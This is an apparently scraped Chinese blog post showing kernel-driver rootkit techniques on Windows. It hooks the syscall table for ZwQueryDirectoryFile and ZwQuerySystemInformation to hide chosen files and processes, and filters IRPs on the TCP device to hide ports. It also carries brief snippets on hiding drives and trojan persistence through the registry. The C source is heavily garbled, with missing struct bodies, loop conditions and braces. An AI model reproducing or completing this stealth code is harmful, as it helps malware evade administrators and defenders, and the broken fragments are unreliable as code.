隱藏任意程序,目錄 文件,登錄檔,埠

2021-04-15 06:56:23 字數 3987 閱讀 7460

查詢程序,目錄/文件,登錄檔等作業系統將最終呼叫 zwquerydirectoryfile,zwquerysysteminformation,zw***valuekey 等函式。要想攔截這些函式達到隱藏目的,需先自己實現以上函式,並修改系統維護的乙個syscall 表使之指向自己預先定義的函式。因 syscall 表在使用者層不可見,所以要寫 drive 在 ring 0 下才可修改。關於如何修改已有文章周詳介紹過,這裡不在詳述。(能夠參見 sysinternals.com 或 webcrazy 所寫的文章)。查詢埠用的是 tdi 查詢。tdi 匯出了兩個裝置 //device//tcp 和 //device//udp。我們能夠利用裝置過濾驅動的方法寫乙個 drive 把這兩個裝置的任何 irp 包接管過來進行處理後再傳給下層驅動。以達到隱藏任意埠的目的。上述提到的方法不是新東西,是在n年前就已有的老技術。俺現在將他貼出來只但是為了充實下版面,灌灌水罷了。高手們還是別看了。下面是我 drive 中隱藏任意程序,目錄/文件,埠**片段。

(登錄檔操作在 regmon 中寫的很周詳,這裡就不列出了)

typedef struct _filetime

filetime;

typedef struct _direntry

direntry, *pdirentry;

struct _system_threads

;struct _system_processes

;// 隱藏目錄/文件

ntstatus hookzwquerydirectoryfile(

in handle hfile,

in handle hevent optional,

in pio_apc_routine ioapcroutine optional,

in pvoid ioapccontext optional,

out pio_status_block piostatusblock,

out pvoid fileinformationbuffer,

in ulong fileinformationbufferlength,

in file_information_class fileinfoclass,

in boolean breturnonlyoneentry,

in punicode_string pathmask optional,

in boolean brestartquery)

;int bytesreturned;

pvoid object;

// 執行舊的zwquerydirectoryfile函式

rc=((zwquerydirectoryfile)(oldzwquerydirectoryfile))(hfile,hevent,ioapcroutine,

ioapccontext,piostatusblock,fileinformationbuffer,fileinformationbufferlength,

fileinfoclass,breturnonlyoneentry,pathmask,brestartquery);

if(nt_success(rc))

}//end for

// 假如鍊錶中包含當前目錄,隱藏

if(found)

else

plast->dwlentonext = 0;

break;

} else

}plast = p;

p = (pdirentry)((char *)p + p->dwlentonext );

}while( !blastone );

rtlfreeansistring(&ansidirname);

rtlfreeansistring(&ansifilename);

}return(rc);

}// 隱藏程序

ntstatus hookzwquerysysteminformation(

in ulong systeminformationclass,

in pvoid systeminformation,

in ulong systeminformationlength,

out pulong returnlength)

}// 判斷假如是隱藏程序名則覆蓋掉此程序名

while(found)

else

}else

else

}if(curr->nextentrydelta)

((char *)curr += curr->nextentrydelta);

else

// 遍歷鍊錶

found = 0;

for (ptr=list_head;ptr!=null;ptr=ptr->next )}}

}if(curr != null)}}

}return(rc);

}//隱藏埠

pdevice_object m_tcpgetdevice;

pdevice_object tcpdevice;

unicode_string tcpdevicename;

pdriver_object tcpdriver;

pdevice_object tcpgetdevice;

pdevice_object filterdevice

pdriver_dispatch empty;

ntstatus status;

empty = driverobject->majorfunction[irp_mj_create];

rtlinitunicodestring( &tcpdevicename, l"//device//tcp");

//得到已有的裝置指標

status = iogetdeviceobjectpointer( &tcpdevicename,file_all_access,&fileobject,&tcpdevice);

if(!nt_success(status))

dbgprint("iogetdeviceobjectpointer ok!/n");

// 建立裝置

status = iocreatedevice( driverobject,sizeof(device_extension),null,

file_device_unknown,0,false,&filterdevice);

if(!nt_success(status))

// 加入裝置

tcpgetdevice = ioattachdevicetodevicestack( filterdevice, tcpdevice);

if(!tcpgetdevice)

m_tcpgetdevice = tcpgetdevice;

// 加到過濾函式中處理

for(i=0;imajorfunction[i]!=empty)&&(driverobject->majorfunction[i]==empty)) }

obdereferenceobject(fileobject);

ntstatus passthrough( in pdevice_object deviceobject, in pirp irp )

//複製當前 irp

iocopycurrentirpstacklocationtonext(irp);

iosetcompletionroutine( irp,genericcompletion,null,true,true,true);

//傳遞

return iocalldriver( m_tcpgetdevice, irp);

}   (摘自

如何用登錄檔隱藏碟符

啟動登錄檔編輯器,進入hkey current user software microsoft windows currentversion policies explorer,新建二進位制值 nodrives 預設值是00000000,表示不隱藏任何驅動器。鍵值由4個位元組組成,每個位元組的每一位...

木馬隱藏技術(1) 登錄檔

此為 木馬技術揭秘與防禦 系列讀書筆記 1.userinit 位置 hkey local machine software microsoft windows nt currentversion winlogon userinit 的鍵值 c windows system32 userinit.ex...

登錄檔修改之目錄篇

目錄 改變 啟動 的目錄 更改 網頁的歷史記錄 目錄 更改 我的文件 目錄 改變 傳送到 的目錄 改變 新建檔案 的目錄 改變 字型 的目錄 改變 開始選單 的目錄 改變 開始選單的程式 的目錄 改變 通用資料夾 目錄 改變 應用程式資料 的目錄 改變 開始選單的程式 的目錄 hkey users ...